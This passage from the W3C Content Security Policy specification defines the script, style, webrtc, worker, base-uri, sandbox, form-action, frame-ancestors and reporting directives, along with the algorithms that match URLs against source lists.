The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via `script-src-attr`. As such, the following differences exist when comparing to `script-src`: * `script-src-elem` applies to inline checks whose `|type|` is "`script`" and "`navigation`" (and is ignored for inline checks whose `|type|` is "`script attribute`"). * `script-src-elem`'s value is not used for JavaScript execution sink checks that are gated on the "`unsafe-eval`" check. * `script-src-elem` is not used as a fallback for the `worker-src` directive. The `worker-src` checks still fall back on the `script-src` directive.
`script-src-elem` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `script-src-elem` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing [[#script-pre-request]] on |request|, this directive, |policy|, and |self-origin|.
`script-src-elem` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `script-src-elem` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing [[#script-post-request]] on |request|, |response|, this directive, |policy|, and |self-origin|.
`script-src-elem` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Assert: |element| is not null or |type| is "`navigation`". 2. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 3. If the result of executing [[#should-directive-execute]] on |name|, `script-src-elem`, and |policy| is "`No`", return "`Allowed`". 4. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source| is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".

`script-src-attr`

The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "script-src-attr"
    directive-value = serialized-source-list
  
The script-src-attr directive applies to event handlers and, if present, it will override the `script-src` directive for relevant checks.
`script-src-attr` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Assert: |element| is not null or |type| is "`navigation`". 2. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 3. If the result of executing [[#should-directive-execute]] on |name|, `script-src-attr` and |policy| is "`No`", return "`Allowed`". 4. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".

`style-src`

The style-src directive restricts the locations from which style may be applied to a {{Document}}. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "style-src"
    directive-value = serialized-source-list
  
The `style-src` directive governs several things: 1. Style requests MUST pass through [[#should-block-request]]. This includes: 1. Stylesheet requests originating from a <{link}> element. 2. Stylesheet requests originating from the `@import` rule. 3. Stylesheet requests originating from a `Link` HTTP response header field [[!RFC8288]]. 2. Responses to style requests MUST pass through [[#should-block-response]]. 3. Inline <{style}> blocks MUST pass through [[#should-block-inline]]. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a `style-src` (or `default-src`) directive, or explicitly, by specifying "`unsafe-inline`", a nonce-source or a hash-source that matches the inline block. 4. The following CSS algorithms are gated on the `unsafe-eval` source expression: 1. insert a CSS rule 2. parse a CSS rule, 3. parse a CSS declaration block 4. parse a group of selectors This would include, for example, all invocations of CSSOM's various cssText setters and insertRule methods [[!CSSOM]] [[!HTML]]. ISSUE(w3c/webappsec-csp#212): This needs to be better explained.
`style-src` Pre-request Check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 4. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".
`style-src` Post-request Check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 4. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".
`style-src` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`". This directive's initialization algorithm is as follows: ISSUE: Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don't think CSSOM gives us any hooks here, so let's work with them to put something reasonable together.

`style-src-elem`

The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "style-src-elem"
    directive-value = serialized-source-list
  
The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.
`style-src-elem` Pre-request Check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src-elem` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 4. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".
`style-src-elem` Post-request Check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src-elem` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 4. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".
`style-src-elem` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src-elem` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`style-src-attr`

The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "style-src-attr"
    directive-value = serialized-source-list
  
The style-src-attr directive governs the behaviour of style attributes.
`style-src-attr` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 2. If the result of executing [[#should-directive-execute]] on |name|, `style-src-attr` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

Other Directives

`webrtc`

The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "webrtc"
    directive-value = "'allow'" / "'block'"
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: webrtc 'block'
    
No local ICE candidates will be surfaced, as no STUN checks will be made against the ICE server provided to the peer connection negotiated below; No connectivity-checks will be attempted to any remote candidates provided by JS; The connectionState will never transition to "connected" and instead transition directly from its initial state of "new" to "failed" shortly. Attempts to pc.restartIce() will repeat this outcome.
      <script>
        const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
        const pc = new RTCPeerConnection({iceServers});
        pc.createDataChannel("");
        const io = new WebSocket('ws://example.com:8080');
        pc.onicecandidate = ({candidate}) => io.send({candidate});
        pc.onnegotiationneeded = async () => {
          await pc.setLocalDescription();
          io.send({description: pc.localDescription});
        };
        io.onmessage = async ({data: {description, candidate}}) => {
          if (description) {
            await pc.setRemoteDescription(description);
            if (description.type == "offer") {
              await pc.setLocalDescription();
              io.send({description: pc.localDescription});
            }
          } else if (candidate) await pc.addIceCandidate(candidate);
        };
     </script>
    
`webrtc` Pre-connect Check
This directive's webrtc pre-connect check is as follows: 1. If this directive's [=directive/value=] contains a single item which is an ASCII case-insensitive match for the string "`'allow'`", return "`Allowed`". 2. Return "`Blocked`".

`worker-src`

The worker-src directive restricts the URLs which may be loaded as a {{Worker}}, {{SharedWorker}}, or {{ServiceWorker}}. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "worker-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: worker-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `worker-src`'s source list:
      <script>
        var blockedWorker = new Worker("data:application/javascript,...");
        blockedWorker = new SharedWorker("https://example.org/");
        navigator.serviceWorker.register('https://example.org/sw.js');
      </script>
    
`worker-src` Pre-request Check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `worker-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`worker-src` Post-request Check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `worker-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

Document Directives

The following directives govern the properties of a document or worker environment to which a policy applies.

`base-uri`

The base-uri directive restricts the {{URL}}s which can be used in a {{Document}}'s <{base}> element. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "base-uri"
    directive-value = serialized-source-list
  
The following algorithm is called during HTML's set the frozen base url algorithm in order to monitor and enforce this directive:
Is |base| allowed for |document|?
Given a {{URL}} |base|, and a {{Document}} |document|, this algorithm returns "`Allowed`" if |base| may be used as the value of a <{base}> element's <{base/href}> attribute, and "`Blocked`" otherwise: 1. Let |CSP list| be |document|'s global object's csp list 1. For each |policy| of |CSP list|'s [=CSP list/policies=]: 1. Let |source list| be null. 2. If a directive whose name is "`base-uri`" is present in |policy|'s directive set, set |source list| to that directive's value. 3. If |source list| is null, skip to the next |policy|. 4. If the result of executing [[#match-url-to-source-list]] on |base|, |source list|, |CSP list|'s [=CSP list/self-origin=], and `0` is "`Does Not Match`": 1. Let |violation| be the result of executing [[#create-violation-for-global]] on |document|'s global object, |policy|, and "`base-uri`". 2. Set |violation|'s resource to "`inline`". 3. Execute [[#report-violation]] on |violation|. 4. If |policy|'s disposition is "`enforce`", return "`Blocked`". Note: We compare against the fallback base URL in order to deal correctly with things like an iframe `srcdoc` `Document` which has been sandboxed into an opaque origin. 2. Return "`Allowed`".

`sandbox`

The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an <{iframe}> with a <{iframe/sandbox}> property. The directive's syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the <{iframe}> <{iframe/sandbox}> attribute [[!HTML]].
    directive-name  = "sandbox"
    directive-value = "" / token *( required-ascii-whitespace token )
  
This directive has no reporting requirements; it will be ignored entirely when delivered in a `Content-Security-Policy-Report-Only` header, or within a <{meta}> element.
`sandbox` Initialization
This directive's initialization algorithm is responsible for checking whether a worker is allowed to run according to the `sandbox` values present in its policies as follows: Note: The sandbox directive is also responsible for adjusting a {{Document}}'s active sandboxing flag set via the CSP-derived sandboxing flags. Given a {{Document}} or global object |context| and a policy |policy|: 1. If |policy|'s disposition is not "`enforce`", or |context| is not a {{WorkerGlobalScope}}, then abort this algorithm. 2. Let |sandboxing flag set| be a new [=/sandboxing flag set=]. 3. Parse a sandboxing directive using this directive's value as the input, and |sandboxing flag set| as the output. 4. If |sandboxing flag set| contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "`Blocked`". Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do. 5. Return "`Allowed`".

Navigation Directives

`form-action`

The form-action directive restricts the {{URL}}s which can be used as the target of a form submissions from a given context. The directive's syntax is described by the following ABNF grammar:
    directive-name  = "form-action"
    directive-value = serialized-source-list
  
`form-action` Pre-Navigation Check
Given a request |request|, a string |navigation type| ("`form-submission`" or "`other`"), a policy |policy|, and an origin |self-origin|, this algorithm returns "`Blocked`" if a form submission violates the `form-action` directive's constraints, and "`Allowed`" otherwise. This constitutes the `form-action` directive's pre-navigation check:
    1. Assert: |policy| is unused in this algorithm. 2. If |navigation type| is "`form-submission`": 1. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 3. Return "`Allowed`".

`frame-ancestors`

The frame-ancestors directive restricts the {{URL}}s which can embed the resource using <{frame}>, <{iframe}>, <{object}>, or <{embed}>. Resources can use this directive to avoid many UI Redressing [[UISECURITY]] attacks, by avoiding the risk of being embedded into potentially hostile contexts. The directive's syntax is described by the following ABNF grammar:
    directive-name  = "frame-ancestors"
    directive-value = ancestor-source-list

    ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
    ancestor-source      = scheme-source / host-source / "'self'"
  
The `frame-ancestors` directive MUST be ignored when contained in a policy declared via a <{meta}> element. Note: The `frame-ancestors` directive's syntax is similar to a source list, but `frame-ancestors` will not fall back to the `default-src` directive's value if one is specified. That is, a policy that declares `default-src 'none'` will still allow the resource to be embedded by anyone.
`frame-ancestors` Navigation Response Check
Given a request |request|, a string |navigation type| ("`form-submission`" or "`other`"), a response |navigation response|, a navigable |target|, a string |check type| ("`source`" or "`response`"), a policy policy, and an [=origin=] |self-origin|, this algorithm returns "`Blocked`" if one or more of the ancestors of |target| violate the `frame-ancestors` directive delivered with the response, and "`Allowed`" otherwise. This constitutes the `frame-ancestors` directive's navigation response check:
    1. If |navigation response|'s [=response/URL=] [=is local=], return "`Allowed`". 2. Assert: |request|, |navigation response|, and |navigation type|, are unused from this point forward in this algorithm, as `frame-ancestors` is concerned only with |navigation response|'s frame-ancestors directive. 3. If |check type| is "`source`", return "`Allowed`". Note: The 'frame-ancestors' directive is relevant only to the |target| navigable and it has no impact on the |request|'s context. 4. If |target| is not a child navigable, return "`Allowed`". 5. Let |current| be |target|. 6. While |current| is a child navigable: 1. Let |document| be |current|'s [=navigable/container document=]. 2. Let |origin| be the result of executing the URL parser on the ASCII serialization of |document|'s [=Document/origin=]. 3. If [[#match-url-to-source-list]] returns `Does Not Match` when executed upon |origin|, this directive's value, |self-origin|, and `0`, return "`Blocked`". 4. Set |current| to |document|'s node navigable. 7. Return "`Allowed`".
Relation to \`[:X-Frame-Options:]\`
This directive is similar to the \`[:X-Frame-Options:]\` HTTP response header. The `'none'` source expression is roughly equivalent to that header's \``DENY`\`, and `'self'` to that header's \``SAMEORIGIN`\`. [[!HTML]] In order to allow backwards-compatible deployment, the `frame-ancestors` directive overrides the \`[:X-Frame-Options:]\` header. If a resource is delivered with a policy that includes a directive named `frame-ancestors` and whose disposition is "`enforce`", then the \`[:X-Frame-Options:]\` header will be ignored, per HTML's processing model.

Reporting Directives

Various algorithms in this document hook into the reporting process by constructing a violation object via [[#create-violation-for-request]] or [[#create-violation-for-global]], and passing that object to [[#report-violation]] to deliver the report.

`report-uri`

Note: The `report-uri` directive is deprecated. Please use the `report-to` directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
        Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
      
The `report-uri` directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.
    directive-name  = "report-uri"
    directive-value = uri-reference *( required-ascii-whitespace uri-reference )

    ; The uri-reference grammar is defined in Section 4.1 of RFC 3986.
  
The directive has no effect in and of itself, but only gains meaning in combination with other directives.

`report-to`

The `report-to` directive defines a reporting endpoint to which violation reports ought to be sent [[REPORTING]]. The directive's behavior is defined in [[#report-violation]]. The directive's name and value are described by the following ABNF:
    directive-name  = "report-to"
    directive-value = token
  

Directives Defined in Other Documents

This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP: * [[MIX]] defines `block-all-mixed-content` * [[UPGRADE-INSECURE-REQUESTS]] defines `upgrade-insecure-requests` Extensions to CSP MUST register themselves via the process outlined in [[!RFC7762]]. In particular, note the criteria discussed in Section 4.2 of that document. New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.

Matching Algorithms

Script directive checks

Script directives pre-request check
Given a request |request|, a directive |directive|, a policy policy, and an origin |self-origin|: 1. If |request|'s destination is script-like: 1. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 2. If the result of executing [[#match-integrity-metadata-to-source-list]] on |request|'s integrity metadata and this directive's value is "`Matches`", return "`Allowed`". 3. If |directive|'s value contains a source expression that is an ASCII case-insensitive match for the "`'strict-dynamic'`" keyword-source: 1. If the |request|'s parser metadata is "parser-inserted", return "`Blocked`". Otherwise, return "`Allowed`". Note: "`'strict-dynamic'`" is explained in more detail in [[#strict-dynamic-usage]]. 4. If the result of executing [[#match-request-to-source-list]] on |request|, |directive|'s value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 2. Return "`Allowed`".
Script directives post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a directive |directive|, a policy |policy|, and an origin |self-origin|: Note: This check needs both |request| and |response| as input parameters since if |request|'s cryptographic nonce metadata or integrity metadata matches, then the script is allowed to load and the check of whether |response|'s url matches the source list is skipped. 1. If |request|'s destination is script-like: 1. Call [=potentially report hash=] with |response|, |request|, |directive| and |policy|. 1. If the result of executing [[#match-nonce-to-source-list]] on |request|'s cryptographic nonce metadata and this directive's value is "`Matches`", return "`Allowed`". 1. If the result of executing [[#match-integrity-metadata-to-source-list]] on |request|'s integrity metadata and this directive's value is "`Matches`", return "`Allowed`". 1. If |directive|'s value contains a source expression that is an ASCII case-insensitive match for the "`'strict-dynamic'`" keyword-source: 1. If the |request|'s parser metadata is "parser-inserted", return "`Blocked`". Otherwise, return "`Allowed`". Note: "`'strict-dynamic'`" is explained in more detail in [[#strict-dynamic-usage]]. 1. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, |directive|'s value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 2. Return "`Allowed`".

URL Matching

Does |request| violate |policy|?
Given a request |request|, a policy |policy|, and an origin |self-origin|, this algorithm returns the violated directive if the request violates the policy, and "`Does Not Violate`" otherwise. 1. If |request|'s [=request/initiator=] is "`prefetch`", then return the result of executing [[#does-resource-hint-violate-policy]] on |request|, |policy|, and |self-origin|. 2. Let |violates| be "`Does Not Violate`". 3. For each |directive| of |policy|: 1. Let |result| be the result of executing |directive|'s pre-request check on |request|, |policy|, and |self-origin|. 2. If |result| is "`Blocked`", then let |violates| be |directive|. 4. Return |violates|.
Does resource hint |request| violate |policy|?
Given a request |request|,a policy |policy|, and an origin |self-origin|, this algorithm returns the default directive if the resource-hint request violates all the policies, and "`Does Not Violate`" otherwise. 1. Let |defaultDirective| be |policy|'s first [=directive=] whose [=directive/name=] is "`default-src`". 2. If |defaultDirective| does not exist, return "`Does Not Violate`". 3. For each |directive| of |policy|: 1. If |directive|'s name is not one of the following: * `child-src` * `connect-src` * `font-src` * `frame-src` * `img-src` * `manifest-src` * `media-src` * `object-src` * `script-src` * `script-src-elem` * `style-src` * `style-src-elem` * `worker-src` then continue. 1. Assert: |directive|'s value is a source list. 1. Let |result| be the result of executing [[#match-request-to-source-list]] on |request|, |directive|'s value, and |self-origin|. 1. If |result| is "`Allowed`", then return "`Does Not Violate`". 4. Return |defaultDirective|.
Does |nonce| match |source list|?
Given a request's cryptographic nonce metadata |nonce| and a source list |source list|, this algorithm returns "`Matches`" if the nonce matches one or more source expressions in the list, and "`Does Not Match`" otherwise: 1. Assert: |source list| is not null. 2. If |nonce| is the empty string, return "`Does Not Match`". 3. For each |expression| of |source list|: 1. If |expression| matches the `nonce-source` grammar, and |nonce| is identical to |expression|'s `base64-value` part, return "`Matches`". 4. Return "`Does Not Match`".
Does |integrity metadata| match |source list|?
Given a request's integrity metadata |integrity metadata| and a source list |source list|, this algorithm returns "`Matches`" if the integrity metadata matches one or more source expressions in the list, and "`Does Not Match`" otherwise: 1. Assert: |source list| is not null. 2. Let |integrity expressions| be the set of source expressions in |source list| that match the hash-source grammar. 3. If |integrity expressions| is empty, return "`Does Not Match`". 4. Let |integrity sources| be the result of parsing metadata given |integrity metadata|. [[!SRI]] 5. If |integrity sources| is "`no metadata`" or an empty set, return "`Does Not Match`". 6. For each |source| of |integrity sources|: 1. If |integrity expressions| does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for |source|'s hash-algorithm, and whose base64-value is identical to |source|'s `base64-value`, return "`Does Not Match`". 7. Return "`Matches`". Note: Here, we verify only whether the |integrity metadata| is a non-empty subset of the hash-source sources in |source list|. We rely on the browser's enforcement of Subresource Integrity [[!SRI]] to block non-matching resources upon response.
Does |request| match |source list|?
Given a request |request|, a source list |source list|, and an origin |self-origin|, this algorithm returns the result of executing [[#match-url-to-source-list]] on |request|'s current url, |source list|, |self-origin|, and |request|'s redirect count. Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.
Does |response| to |request| match |source list|?
Given a response |response|, a request |request|, a source list |source list|, and an origin |self-origin|, this algorithm returns the result of executing [[#match-url-to-source-list]] on |response|'s url, |source list|, |self-origin|, and |request|'s redirect count. Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.
Does |url| match |source list| in |origin| with |redirect count|?
Given a {{URL}} |url|, a source list |source list|, an origin |origin|, and a number |redirect count|, this algorithm returns "`Matches`" if the URL matches one or more source expressions in |source list|, or "`Does Not Match`" otherwise: 1. Assert: |source list| is not null. 2. If |source list| [=list/is empty=], return "`Does Not Match`". 3. If |source list|'s [=list/size=] is 1, and |source list|[0] is an ASCII case-insensitive match for the string "`'none'`", return "`Does Not Match`". Note: An empty source list (that is, a directive without a value: `script-src`, as opposed to `script-src host1`) is equivalent to a source list containing `'none'`, and will not match any URL. Note: The `'none'` keyword has no effect when other source expressions are present. That is, the list « `'none'` » does not match any URL. A list consisting of « `'none'`, `https://example.com` », on the other hand, would match `https://example.com/`. 4. For each |expression| of |source list|: 1. If [[#match-url-to-source-expression]] returns "`Matches`" when executed upon |url|, |expression|, |origin|, and |redirect count|, return "`Matches`". 5. Return "`Does Not Match`".
Does |url| match |expression| in |origin| with |redirect count|?
Given a {{URL}} |url|, a source expression |expression|, an origin |origin|, and a number |redirect count|, this algorithm returns "`Matches`" if |url| matches |expression|, and "`Does Not Match`" otherwise. Note: |origin| is the origin of the resource relative to which the |expression| should be resolved. "`'self'`", for instance, will have distinct meaning depending on that bit of context. 1. If |expression| is the string "*", return "`Matches`" if one or more of the following conditions is met: 1. |url|'s scheme is an HTTP(S) scheme. 2. |url|'s scheme is the same as |origin|'s scheme. Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g. `default-src * data: custom-scheme-1: custom-scheme-2:`), or the protected resource must be loaded from the same scheme. 2. If |expression| matches the `scheme-source` or `host-source` grammar: 1. If |expression| has a `scheme-part`, and it does not `scheme-part` match |url|'s scheme, return "`Does Not Match`". 2. If |expression| matches the `scheme-source` grammar, return "`Matches`". 3. If |expression| matches the `host-source` grammar: 1. If |url|'s {{URL/host}} is null, return "`Does Not Match`". 2. If |expression| does not have a `scheme-part`, and |origin|'s [=origin/scheme=] does not `scheme-part` match |url|'s scheme, return "`Does Not Match`". Note: As with `scheme-part` above, we allow schemeless `host-source` expressions to be upgraded from insecure schemes to secure schemes. 3. If |expression|'s `host-part` does not `host-part` match |url|'s {{URL/host}}, return "`Does Not Match`". 4. Let |port-part| be |expression|'s `port-part` if present, and null otherwise. 5. If |port-part| does not `port-part` match |url|, return "`Does Not Match`". 6. If |expression| contains a non-empty `path-part`, and |redirect count| is 0, then: 1. Let |path| be the result of running the URL path serializer on |url|. 2. If |expression|'s `path-part` does not `path-part` match |path|, return "`Does Not Match`". 7. Return "`Matches`". 4. If |expression| is an ASCII case-insensitive match for "`'self'`", return "`Matches`" if one or more of the following conditions is met: 1. |origin| is the same as |url|'s origin 2. |origin|'s {{URL/host}} is the same as |url|'s {{URL/host}}, |origin|'s {{URL/port}} and |url|'s {{URL/port}} are either the same or the default ports for their respective schemes, and one or more of the following conditions is met: 1. |url|'s scheme is "`https`" or "`wss`" 2. |origin|'s scheme is "`http`" and |url|'s scheme is "`http`" or "`ws`" Note: Like the `scheme-part` logic above, the "`'self'`" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed. 5. Return "`Does Not Match`".
`scheme-part` matching
An ASCII string `scheme-part` matches another ASCII string if a CSP source expression that contained the first as a `scheme-part` could potentially match a URL containing the latter as a [=url/scheme=]. For example, we say that "http" `scheme-part` matches "https". Note: The matching relation is asymmetric. For example, the source expressions `https:` and `https://example.com/` do not match the URL `http://example.com/`. We always allow a secure upgrade from an explicitly insecure expression. `script-src http:` is treated as equivalent to `script-src http: https:`, `script-src http://example.com` to `script-src http://example.com https://example.com`, and `connect-src ws:` to `connect-src ws: wss:`. More formally, two ASCII strings |A| and |B| are said to `scheme-part` match if the following algorithm returns "`Matches`":
    1. If one of the following is true, return "`Matches`": 1. |A| is an ASCII case-insensitive match for |B|. 2. |A| is an ASCII case-insensitive match for "`http`", and |B| is an ASCII case-insensitive match for "`https`". 3. |A| is an ASCII case-insensitive match for "`ws`", and |B| is an ASCII case-insensitive match for "`wss`", "`http`", or "`https`". 4. |A| is an ASCII case-insensitive match for "`wss`", and |B| is an ASCII case-insensitive match for "`https`". 2. Return "`Does Not Match`".
`host-part` matching
An ASCII string `host-part` matches a [=/host=] if a CSP source expression that contained the first as a `host-part` could potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com". More formally, ASCII string |pattern| and [=/host=] |host| are said to `host-part` match if the following algorithm returns "`Matches`": Note: The matching relation is asymmetric. That is, |pattern| matching |host| does not mean that |host| will match |pattern|. For example, `*.example.com` `host-part` matches `www.example.com`, but `www.example.com` does not `host-part` match `*.example.com`. Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
    1. If |host| is not a [=domain=], return "`Does Not Match`". 2. If |pattern| is "`*`", return "`Matches`". 3. If |pattern| starts with "`*.`": 1. Let |remaining| be |pattern| with the leading U+002A (`*`) removed and ASCII lowercased. 2. If |host| to ASCII lowercase ends with |remaining|, then return "`Matches`". 3. Return "`Does Not Match`". 4. If |pattern| is not an ASCII case-insensitive match for |host|, return "`Does Not Match`". 5. Return "`Matches`".
`port-part` matching
An ASCII string or null |input| `port-part` matches [=/URL=] |url| if a CSP source expression that contained the first as a `port-part` could potentially match a URL containing the latter's [=url/port=] and [=url/scheme=]. For example, "80" `port-part` matches matches http://example.com.
    1. Assert: |input| is null, "*", or a sequence of one or more ASCII digits. 2. If |input| is equal to "*", return "`Matches`". 3. Let |normalizedInput| be null if |input| null; otherwise |input| interpreted as decimal number. 4. If |normalizedInput| equals |url|'s [=url/port=], return "`Matches`". 5. If |url|'s [=url/port=] is null: 1. Let |defaultPort| be the default port for |url|'s [=url/scheme=]. 2. If |normalizedInput| equals |defaultPort|, return "`Matches`". 6. Return "`Does Not Match`".
`path-part` matching
An ASCII string |path A| `path-part` matches another ASCII string |path B| if a CSP source expression that contained the first as a `path-part` could potentially match a URL containing the latter as a [=url/path=]. For example, we say that "/subdirectory/" `path-part` matches "/subdirectory/file". Note: The matching relation is asymmetric. That is, |path A| matching |path B| does not mean that |path B| will match |path A|.
